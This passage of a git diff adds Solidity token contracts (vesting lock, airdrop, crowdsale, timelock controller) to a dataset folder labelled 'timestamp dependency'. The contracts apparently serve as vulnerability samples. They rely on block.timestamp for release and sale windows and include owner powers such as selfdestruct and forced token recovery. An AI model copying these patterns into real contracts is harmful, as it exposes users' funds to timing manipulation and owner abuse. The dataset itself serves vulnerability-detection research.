int(_value); + require(transferValue >= fromMember.transferred); + require(transferValue <= int(getUnlockedBalanceLimit(msg.sender))); + fromMember.transferred = transferValue; + } + + + if (!fromMember.exists && msg.sender != owner) { + bool fromTransferee = nonMemberTransfers[msg.sender]; + if (!fromTransferee) { + nonMemberTransfers[msg.sender] = true; + allNonMembers.push(msg.sender); + } + } + if (!members[_to].exists && _to != owner) { + bool toTransferee = nonMemberTransfers[_to]; + if (!toTransferee) { + nonMemberTransfers[_to] = true; + allNonMembers.push(_to); + } + } else if (members[_to].exists) { + int256 transferInValue = members[_to].transferred - int(_value); + require(transferInValue <= members[_to].transferred); + members[_to].transferred = transferInValue; + } + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) canTransfer returns (bool success) { + + Member storage fromMember = members[_from]; + if (fromMember.exists) { + int256 transferValue = fromMember.transferred + int(_value); + require(transferValue >= fromMember.transferred); + require(transferValue <= int(getUnlockedBalanceLimit(msg.sender))); + fromMember.transferred = transferValue; + } + + + if (!fromMember.exists && _from != owner) { + bool fromTransferee = nonMemberTransfers[_from]; + if (!fromTransferee) { + nonMemberTransfers[_from] = true; + allNonMembers.push(_from); + } + } + if (!members[_to].exists && _to != owner) { + bool toTransferee = nonMemberTransfers[_to]; + if (!toTransferee) { + nonMemberTransfers[_to] = true; + allNonMembers.push(_to); + } + } else if (members[_to].exists) { + int256 transferInValue = members[_to].transferred - int(_value); + require(transferInValue <= members[_to].transferred); + members[_to].transferred = transferInValue; + } + return super.transferFrom(_from, _to, _value); + } + + function setOpenGroup(uint256 groupNumber) public onlyOwner returns (bool success) { + require(groupNumber < nextGroupNumber); + openGroupNumber = groupNumber; + return true; + } + + function getUndistributedBalanceOf(address walletAddress, uint256 groupNumber) public view returns (uint256 balance) { + Member storage theMember = members[walletAddress]; + require(theMember.exists); + if (groups[groupNumber].distributed) + return 0; + return theMember.tokenBalance[groupNumber]; + } + + function checkMyUndistributedBalance(uint256 groupNumber) public view returns (uint256 balance) { + return getUndistributedBalanceOf(msg.sender, groupNumber); + } + + function transferRecovery(address _from, address _to, uint256 _value) public onlyOwner returns (bool success) { + + allowed[_from][msg.sender] = allowed[_from][msg.sender].add(_value); + Member storage fromMember = members[_from]; + if (fromMember.exists) { + int256 oldTransferred = fromMember.transferred; + fromMember.transferred -= int(_value); + require(oldTransferred >= fromMember.transferred); + } + return transferFrom(_from, _to, _value); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/649.sol b/smart_contract_dataset/timestamp dependency/649.sol new file mode 100644 index 0000000000000000000000000000000000000000..c29a2f168d1ad68cc0d68a2faa11db4481f54e42 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/649.sol @@ -0,0 +1,179 @@ +pragma solidity 0.4.24; + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a / b; + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} +contract Ownable { + address public owner; + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + constructor() public { + owner = msg.sender; + } + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + function transferOwnership(address _newOwner) public onlyOwner { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} +contract DVPlock is Ownable{ + using SafeERC20 for ERC20; + using SafeMath for uint256; + + ERC20 public token; + address public sponsor; + mapping (address => uint256) public balances; + mapping (address => uint256) public withdrawAmounts; + uint256 public tokenTotal; + uint256 public releaseTime; + + constructor() public{ + releaseTime = 0; + tokenTotal = 0; + sponsor = msg.sender; + } + + function setToken(ERC20 _token) onlyOwner public{ + + if(token!=address(0)){ + revert(); + } + token = _token; + } + + + function setReleaseTime(uint256 _releaseTime) onlyOwner public{ + require(releaseTime==0); + releaseTime = _releaseTime; + require(addSponsor(sponsor)); + } + + + + function addSponsor(address _sponsor) internal returns(bool result){ + uint256 _amount =token.totalSupply()/5; + return addInvestor(_sponsor,_amount); + } + + function addInvestor(address investor,uint256 amount) onlyOwner public returns(bool result){ + if(releaseTime!=0){ + require(block.timestamp < releaseTime); + } + require(tokenTotal == token.balanceOf(this)); + balances[investor] = balances[investor].add(amount); + tokenTotal = tokenTotal.add(amount); + + if(tokenTotal>token.balanceOf(this)){ + token.safeTransferFrom(msg.sender,this,amount); + } + return true; + } + + + + function release() public { + require(releaseTime!=0); + require(block.timestamp >= releaseTime); + require(balances[msg.sender] > 0); + + + uint256 released_times = (block.timestamp-releaseTime).div(60*60*24*30*3); + uint256 _amount = 0; + uint256 lock_quarter = 0; + + if(msg.sender!=sponsor){ + + lock_quarter = 6 ; + }else{ + + lock_quarter = 12; + } + + if(withdrawAmounts[msg.sender]==0){ + withdrawAmounts[msg.sender]= balances[msg.sender].div(lock_quarter); + } + + if(released_times>=lock_quarter){ + _amount = balances[msg.sender]; + }else{ + _amount = balances[msg.sender].sub(withdrawAmounts[msg.sender].mul(lock_quarter.sub(released_times+1))); + } + + balances[msg.sender] = balances[msg.sender].sub(_amount); + tokenTotal = tokenTotal.sub(_amount); + token.safeTransfer(msg.sender, _amount); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6534.sol b/smart_contract_dataset/timestamp dependency/6534.sol new file mode 100644 index 0000000000000000000000000000000000000000..70db89ad30b333b15d2d5ade834d8f7402e0585c --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6534.sol @@ -0,0 +1,415 @@ +pragma solidity ^0.4.23; + + +contract Ownable { + address public owner; + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } + + function kill() public onlyOwner { + selfdestruct(owner); + } +} + + +library XTVNetworkUtils { + function verifyXTVSignatureAddress(bytes32 hash, bytes memory sig) internal pure returns (address) { + bytes32 r; + bytes32 s; + uint8 v; + + if (sig.length != 65) { + return (address(0)); + } + + + assembly { + r := mload(add(sig, 32)) + s := mload(add(sig, 64)) + v := byte(0, mload(add(sig, 96))) + } + + if (v < 27) { + v += 27; + } + + if (v != 27 && v != 28) { + return (address(0)); + } + + bytes32 prefixedHash = keccak256( + abi.encodePacked("\x19Ethereum Signed Message:\n32", hash) + ); + + + return ecrecover(prefixedHash, v, r, s); + } +} + + + + +contract XTVNetworkGuard { + mapping(address => bool) xtvNetworkEndorser; + + modifier validateSignature( + string memory message, + bytes32 verificationHash, + bytes memory xtvSignature + ) { + bytes32 xtvVerificationHash = keccak256(abi.encodePacked(verificationHash, message)); + + require(verifyXTVSignature(xtvVerificationHash, xtvSignature)); + _; + } + + function setXTVNetworkEndorser(address _addr, bool isEndorser) public; + + function verifyXTVSignature(bytes32 hash, bytes memory sig) public view returns (bool) { + address signerAddress = XTVNetworkUtils.verifyXTVSignatureAddress(hash, sig); + + return xtvNetworkEndorser[signerAddress]; + } +} + + + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + + + + + + +contract ERC20 { + bool public paused = false; + bool public mintingFinished = false; + + mapping(address => uint256) balances; + mapping(address => mapping(address => uint256)) internal allowed; + + uint256 totalSupply_; + + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + function allowance(address _owner, address spender) public view returns (uint256); + function increaseApproval(address spender, uint addedValue) public returns (bool); + function decreaseApproval(address spender, uint subtractedValue) public returns (bool); + + modifier canMint() { + require(!mintingFinished); + _; + } + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + event Approval(address indexed owner, address indexed spender, uint256 value); + event Transfer(address indexed from, address indexed to, uint256 value); + event Buy(address indexed _recipient, uint _amount); + event Mint(address indexed to, uint256 amount); + event MintFinished(); + event Pause(); + event Unpause(); +} + +contract ERC20Token is ERC20, Ownable { + using SafeMath for uint256; + + + + function totalSupply() public view returns (uint256) { return totalSupply_; } + + + function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } + + + function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool) { + allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } + + + function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { + totalSupply_ = totalSupply_.add(_amount); + balances[_to] = balances[_to].add(_amount); + emit Mint(_to, _amount); + emit Transfer(address(0), _to, _amount); + return true; + } + + + function finishMinting() onlyOwner canMint public returns (bool) { + mintingFinished = true; + emit MintFinished(); + return true; + } +} + + + +contract XTVToken is XTVNetworkGuard, ERC20Token { + using SafeMath for uint256; + + string public constant name = "XTV"; + string public constant symbol = "XTV"; + uint public constant decimals = 18; + + address public fullfillTeamAddress; + address public fullfillFounder; + address public fullfillAdvisors; + address public XTVNetworkContractAddress; + + bool public airdropActive; + uint public startTime; + uint public endTime; + uint public XTVAirDropped; + uint public XTVBurned; + mapping(address => bool) public claimed; + + uint256 private constant TOKEN_MULTIPLIER = 1000000; + uint256 private constant DECIMALS = 10 ** decimals; + uint256 public constant INITIAL_SUPPLY = 500 * TOKEN_MULTIPLIER * DECIMALS; + uint256 public constant EXPECTED_TOTAL_SUPPLY = 1000 * TOKEN_MULTIPLIER * DECIMALS; + + + uint256 public constant ALLOC_TEAM = 330 * TOKEN_MULTIPLIER * DECIMALS; + + uint256 public constant ALLOC_ADVISORS = 70 * TOKEN_MULTIPLIER * DECIMALS; + + uint256 public constant ALLOC_FOUNDER = 100 * TOKEN_MULTIPLIER * DECIMALS; + + uint256 public constant ALLOC_AIRDROP = 500 * TOKEN_MULTIPLIER * DECIMALS; + + uint256 public constant AIRDROP_CLAIM_AMMOUNT = 500 * DECIMALS; + + modifier isAirdropActive() { + require(airdropActive); + _; + } + + modifier canClaimTokens() { + uint256 remainingSupply = balances[address(0)]; + + require(!claimed[msg.sender] && remainingSupply > AIRDROP_CLAIM_AMMOUNT); + _; + } + + constructor( + address _fullfillTeam, + address _fullfillFounder, + address _fullfillAdvisors + ) public { + owner = msg.sender; + fullfillTeamAddress = _fullfillTeam; + fullfillFounder = _fullfillFounder; + fullfillAdvisors = _fullfillAdvisors; + + airdropActive = true; + startTime = block.timestamp; + endTime = startTime + 365 days; + + balances[_fullfillTeam] = ALLOC_TEAM; + balances[_fullfillFounder] = ALLOC_FOUNDER; + balances[_fullfillAdvisors] = ALLOC_ADVISORS; + + balances[address(0)] = ALLOC_AIRDROP; + + totalSupply_ = EXPECTED_TOTAL_SUPPLY; + + emit Transfer(address(this), address(0), ALLOC_AIRDROP); + } + + function setXTVNetworkEndorser(address _addr, bool isEndorser) public onlyOwner { + xtvNetworkEndorser[_addr] = isEndorser; + } + + + function claim( + string memory token, + bytes32 verificationHash, + bytes memory xtvSignature + ) + public + isAirdropActive + canClaimTokens + validateSignature(token, verificationHash, xtvSignature) + returns (uint256) + { + claimed[msg.sender] = true; + + balances[address(0)] = balances[address(0)].sub(AIRDROP_CLAIM_AMMOUNT); + balances[msg.sender] = balances[msg.sender].add(AIRDROP_CLAIM_AMMOUNT); + + XTVAirDropped = XTVAirDropped.add(AIRDROP_CLAIM_AMMOUNT); + + emit Transfer(address(0), msg.sender, AIRDROP_CLAIM_AMMOUNT); + + return balances[msg.sender]; + } + + + function burnTokens() public onlyOwner { + require(block.timestamp > endTime); + + uint256 remaining = balances[address(0)]; + + airdropActive = false; + + XTVBurned = remaining; + } + + function setXTVNetworkContractAddress(address addr) public onlyOwner { + XTVNetworkContractAddress = addr; + } + + function setXTVTokenAirdropStatus(bool _status) public onlyOwner { + airdropActive = _status; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6578.sol b/smart_contract_dataset/timestamp dependency/6578.sol new file mode 100644 index 0000000000000000000000000000000000000000..ef301018d27ac8e9ea7b71b824a3772d19ebae2d --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6578.sol @@ -0,0 +1,445 @@ +pragma solidity ^0.4.23; + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom( + address _from, + address _to, + uint256 _value + ) + public + returns (bool) + { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance( + address _owner, + address _spender + ) + public + view + returns (uint256) + { + return allowed[_owner][_spender]; + } + + + function increaseApproval( + address _spender, + uint _addedValue + ) + public + returns (bool) + { + allowed[msg.sender][_spender] = ( + allowed[msg.sender][_spender].add(_addedValue)); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval( + address _spender, + uint _subtractedValue + ) + public + returns (bool) + { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + +contract CryptualProjectToken is StandardToken, Ownable { + using SafeMath for uint256; + + + string public constant name = "Cryptual Project Token"; + string public constant symbol = "CPT"; + uint8 public constant decimals = 0; + + + uint256 public constant INITIAL_SUPPLY = 283000000; + address public wallet; + + + uint256 public constant PRESALE_OPENING_TIME = 1531998000; + uint256 public constant PRESALE_CLOSING_TIME = 1532563200; + uint256 public constant PRESALE_RATE = 150000; + uint256 public constant PRESALE_WEI_CAP = 500 ether; + uint256 public constant PRESALE_WEI_GOAL = 50 ether; + + + uint256 public constant CROWDSALE_OPENING_TIME = 1532602800; + uint256 public constant CROWDSALE_CLOSING_TIME = 1535328000; + uint256 public constant CROWDSALE_WEI_CAP = 5000 ether; + + + uint256 public constant COMBINED_WEI_GOAL = 750 ether; + + + uint256[] public crowdsaleWeiAvailableLevels = [1000 ether, 1500 ether, 2000 ether]; + uint256[] public crowdsaleRates = [135000, 120000, 100000]; + uint256[] public crowdsaleMinElapsedTimeLevels = [0, 12 * 3600, 18 * 3600, 21 * 3600, 22 * 3600]; + uint256[] public crowdsaleUserCaps = [1 ether, 2 ether, 4 ether, 8 ether, CROWDSALE_WEI_CAP]; + mapping(address => uint256) public crowdsaleContributions; + + + uint256 public presaleWeiRaised; + uint256 public crowdsaleWeiRaised; + + + constructor( + address _wallet + ) public { + require(_wallet != address(0)); + wallet = _wallet; + + totalSupply_ = INITIAL_SUPPLY; + balances[msg.sender] = INITIAL_SUPPLY; + emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); + } + + + event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); + + + function () external payable { + buyTokens(msg.sender); + } + + + function buyTokens(address _beneficiary) public payable { + + uint256 weiAmount = msg.value; + require(_beneficiary != address(0)); + require(weiAmount != 0); + bool isPresale = block.timestamp >= PRESALE_OPENING_TIME && block.timestamp <= PRESALE_CLOSING_TIME; + bool isCrowdsale = block.timestamp >= CROWDSALE_OPENING_TIME && block.timestamp <= CROWDSALE_CLOSING_TIME; + require(isPresale || isCrowdsale); + uint256 tokens; + + if (isCrowdsale) { + require(crowdsaleWeiRaised.add(weiAmount) <= CROWDSALE_WEI_CAP); + require(crowdsaleContributions[_beneficiary].add(weiAmount) <= getCrowdsaleUserCap()); + + + tokens = _getCrowdsaleTokenAmount(weiAmount); + require(tokens != 0); + + + crowdsaleWeiRaised = crowdsaleWeiRaised.add(weiAmount); + } else if (isPresale) { + require(presaleWeiRaised.add(weiAmount) <= PRESALE_WEI_CAP); + require(whitelist[_beneficiary]); + + + tokens = weiAmount.mul(PRESALE_RATE).div(1 ether); + require(tokens != 0); + + + presaleWeiRaised = presaleWeiRaised.add(weiAmount); + } + + _processPurchase(_beneficiary, tokens); + emit TokenPurchase( + msg.sender, + _beneficiary, + weiAmount, + tokens + ); + + if (isCrowdsale) crowdsaleContributions[_beneficiary] = crowdsaleContributions[_beneficiary].add(weiAmount); + deposited[_beneficiary] = deposited[_beneficiary].add(msg.value); + } + + + function getCrowdsaleUserCap() public view returns (uint256) { + require(block.timestamp >= CROWDSALE_OPENING_TIME && block.timestamp <= CROWDSALE_CLOSING_TIME); + + uint256 elapsedTime = block.timestamp.sub(CROWDSALE_OPENING_TIME); + uint256 currentMinElapsedTime = 0; + uint256 currentCap = 0; + + for (uint i = 0; i < crowdsaleUserCaps.length; i++) { + if (elapsedTime < crowdsaleMinElapsedTimeLevels[i]) continue; + if (crowdsaleMinElapsedTimeLevels[i] < currentMinElapsedTime) continue; + currentCap = crowdsaleUserCaps[i]; + } + + return currentCap; + } + + + function _getCrowdsaleTokenAmount(uint256 _weiAmount) internal view returns (uint256) { + uint256 uncountedWeiRaised = crowdsaleWeiRaised; + uint256 uncountedWeiAmount = _weiAmount; + uint256 tokenAmount = 0; + + for (uint i = 0; i < crowdsaleWeiAvailableLevels.length; i++) { + uint256 weiAvailable = crowdsaleWeiAvailableLevels[i]; + uint256 rate = crowdsaleRates[i]; + + if (uncountedWeiRaised < weiAvailable) { + if (uncountedWeiRaised > 0) { + weiAvailable = weiAvailable.sub(uncountedWeiRaised); + uncountedWeiRaised = 0; + } + + if (uncountedWeiAmount <= weiAvailable) { + tokenAmount = tokenAmount.add(uncountedWeiAmount.mul(rate)); + break; + } else { + uncountedWeiAmount = uncountedWeiAmount.sub(weiAvailable); + tokenAmount = tokenAmount.add(weiAvailable.mul(rate)); + } + } else { + uncountedWeiRaised = uncountedWeiRaised.sub(weiAvailable); + } + } + + return tokenAmount.div(1 ether); + } + + + function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { + totalSupply_ = totalSupply_.add(_tokenAmount); + balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount); + emit Transfer(0x0, _beneficiary, _tokenAmount); + } + + + mapping(address => bool) public whitelist; + + + function addToPresaleWhitelist(address _beneficiary) external onlyOwner { + whitelist[_beneficiary] = true; + } + + + function addManyToPresaleWhitelist(address[] _beneficiaries) external onlyOwner { + for (uint256 i = 0; i < _beneficiaries.length; i++) { + whitelist[_beneficiaries[i]] = true; + } + } + + + function removeFromPresaleWhitelist(address _beneficiary) external onlyOwner { + whitelist[_beneficiary] = false; + } + + + bool public isCrowdsaleFinalized = false; + mapping (address => uint256) public deposited; + + + event CrowdsaleFinalized(); + event RefundsEnabled(); + event Refunded(address indexed beneficiary, uint256 weiAmount); + + + function finalizeCrowdsale() external { + require(!isCrowdsaleFinalized); + require(block.timestamp > CROWDSALE_CLOSING_TIME || (block.timestamp > PRESALE_CLOSING_TIME && presaleWeiRaised < PRESALE_WEI_GOAL)); + + if (combinedGoalReached()) { + wallet.transfer(address(this).balance); + } else { + emit RefundsEnabled(); + } + + emit CrowdsaleFinalized(); + isCrowdsaleFinalized = true; + } + + + function claimRefund() external { + require(isCrowdsaleFinalized); + require(!combinedGoalReached()); + require(deposited[msg.sender] > 0); + + uint256 depositedValue = deposited[msg.sender]; + deposited[msg.sender] = 0; + msg.sender.transfer(depositedValue); + emit Refunded(msg.sender, depositedValue); + } + + + function combinedGoalReached() public view returns (bool) { + return presaleWeiRaised.add(crowdsaleWeiRaised) >= COMBINED_WEI_GOAL; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6586.sol b/smart_contract_dataset/timestamp dependency/6586.sol new file mode 100644 index 0000000000000000000000000000000000000000..ec7e266633d2335796b6e6e090ae610f9d6c8321 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6586.sol @@ -0,0 +1,329 @@ +pragma solidity ^0.4.23; + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + + +contract TokenTimelockController is Ownable { + using SafeMath for uint; + + struct TokenTimelock { + uint256 amount; + uint256 releaseTime; + bool released; + bool revocable; + bool revoked; + } + + event TokenTimelockCreated( + address indexed beneficiary, + uint256 releaseTime, + bool revocable, + uint256 amount + ); + + event TokenTimelockRevoked( + address indexed beneficiary + ); + + event TokenTimelockBeneficiaryChanged( + address indexed previousBeneficiary, + address indexed newBeneficiary + ); + + event TokenTimelockReleased( + address indexed beneficiary, + uint256 amount + ); + + uint256 public constant TEAM_LOCK_DURATION_PART1 = 1 * 365 days; + uint256 public constant TEAM_LOCK_DURATION_PART2 = 2 * 365 days; + uint256 public constant INVESTOR_LOCK_DURATION = 6 * 30 days; + + mapping (address => TokenTimelock[]) tokenTimeLocks; + + ERC20 public token; + address public crowdsale; + bool public activated; + + + constructor(ERC20 _token) public { + token = _token; + } + + modifier onlyCrowdsale() { + require(msg.sender == crowdsale); + _; + } + + modifier onlyWhenActivated() { + require(activated); + _; + } + + modifier onlyValidTokenTimelock(address _beneficiary, uint256 _id) { + require(_beneficiary != address(0)); + require(_id < tokenTimeLocks[_beneficiary].length); + require(!tokenTimeLocks[_beneficiary][_id].revoked); + _; + } + + + function setCrowdsale(address _crowdsale) external onlyOwner { + require(_crowdsale != address(0)); + crowdsale = _crowdsale; + } + + + function activate() external onlyCrowdsale { + activated = true; + } + + + function createInvestorTokenTimeLock( + address _beneficiary, + uint256 _amount, + uint256 _start, + address _tokenHolder + ) external onlyCrowdsale returns (bool) + { + require(_beneficiary != address(0) && _amount > 0); + require(_tokenHolder != address(0)); + + TokenTimelock memory tokenLock = TokenTimelock( + _amount, + _start.add(INVESTOR_LOCK_DURATION), + false, + false, + false + ); + tokenTimeLocks[_beneficiary].push(tokenLock); + require(token.transferFrom(_tokenHolder, this, _amount)); + + emit TokenTimelockCreated( + _beneficiary, + tokenLock.releaseTime, + false, + _amount); + return true; + } + + + function createTeamTokenTimeLock( + address _beneficiary, + uint256 _amount, + uint256 _start, + address _tokenHolder + ) external onlyOwner returns (bool) + { + require(_beneficiary != address(0) && _amount > 0); + require(_tokenHolder != address(0)); + + uint256 amount = _amount.div(2); + TokenTimelock memory tokenLock1 = TokenTimelock( + amount, + _start.add(TEAM_LOCK_DURATION_PART1), + false, + true, + false + ); + tokenTimeLocks[_beneficiary].push(tokenLock1); + + TokenTimelock memory tokenLock2 = TokenTimelock( + amount, + _start.add(TEAM_LOCK_DURATION_PART2), + false, + true, + false + ); + tokenTimeLocks[_beneficiary].push(tokenLock2); + + require(token.transferFrom(_tokenHolder, this, _amount)); + + emit TokenTimelockCreated( + _beneficiary, + tokenLock1.releaseTime, + true, + amount); + emit TokenTimelockCreated( + _beneficiary, + tokenLock2.releaseTime, + true, + amount); + return true; + } + + + function revokeTokenTimelock( + address _beneficiary, + uint256 _id) + external onlyWhenActivated onlyOwner onlyValidTokenTimelock(_beneficiary, _id) + { + require(tokenTimeLocks[_beneficiary][_id].revocable); + require(!tokenTimeLocks[_beneficiary][_id].released); + TokenTimelock 